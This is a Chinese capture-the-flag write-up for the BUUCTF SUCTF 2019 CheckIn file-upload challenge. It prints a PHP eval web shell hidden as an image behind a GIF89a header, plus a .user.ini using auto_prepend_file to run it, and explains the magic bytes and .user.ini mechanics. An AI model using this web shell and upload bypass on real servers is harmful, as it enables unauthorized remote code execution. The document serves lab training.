buuctf系列解题思路祥讲--[SUCTF 2019]CheckIn1--文件上传以及user.ini的应用

涉及知识点都会在第二部分讲解

1、解题思路

这题是一个文件上传的靶场,我们先手动尝试上传文件,发现对php有检测,随后可以使用burp爆破后缀名

上传图片马发现他会检测文件内容是否有?(可以把php语句换位js形式的图片马)

上传js样式的图片马内容为如下:

<script language="pHp">@eval($_POST['CMD'])</script>

上传发现显示不是图片

所以我们在对其添加文件头进行上传发现成功了

随后我们上传htaccess发现会上传失败

那我们尝试一下.user.ini文件,内容如下

GIF89a

auto_prepend_file=shell.jpg

然后使用蚁剑连接:域名+upload/。。。/index.php,随后就可以进入和后台查看flag了

2、涉及知识点

1、//三种图片的前缀 JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码) GIF:47 49 46 38 39 61(ascll值是GIF89a) PNG: 89 50 4E 47

2、user.ini和.htaccess一样是目录的配置文件。这里我们可以把.user.ini看作是用户自定义的一个php.ini,需要访问该目录下的任意php文件时才会触发

3、.user.ini比.htaccess用的更广,不管是nginx/apache/IIS,只要是以CGI/FastCGI模式运行的php都可以用这个方法。

4、/*这是.user.ini的两个配置

auto_prepend_file是在文件前插入

auto_append_file是在文件最后才插入*/

相关推荐
AnalogElectronic1 天前
linux 测试网络和端口是否连通的命令详解
linux·网络·php
weixin_514253181 天前
428-uitars tmux
安全·web安全
跨境数据猎手1 天前
跨境独立站系统技术拆解(附带源码)
服务器·前端·php
漠月瑾-西安1 天前
软件忘了“擦黑板”:一次内核信息泄露事件(CVE-2024-49997)的深度剖析
网络安全·linux内核·内核安全·信息泄露·内存安全·cve漏洞分析
淘矿人1 天前
从0到1:用Claude启动你的第一个项目
开发语言·人工智能·git·python·github·php·pygame
a8a3021 天前
Laravel9.x新特性全解析
运维·spring boot·nginx
带娃的IT创业者1 天前
深度解析:从零构建高性能 LLM API 中转网关与成本优化实战
开发语言·gpt·llm·php·高性能·成本优化·api网关
墨染天姬1 天前
[AI]DeepSeek-R1的GRPO算法
人工智能·算法·php
一颗无敌码农1 天前
多商户与多门店电商系统有什么区别?核心模式解析
微信小程序·php·用户运营·crmeb
L1624761 天前
Nginx 6 种发布方式(滚动发布、蓝绿发布(Blue/Green)、金丝雀发布(Canary 灰度)等) 实操全集(配置 + 分步操作 + 回滚)
运维·nginx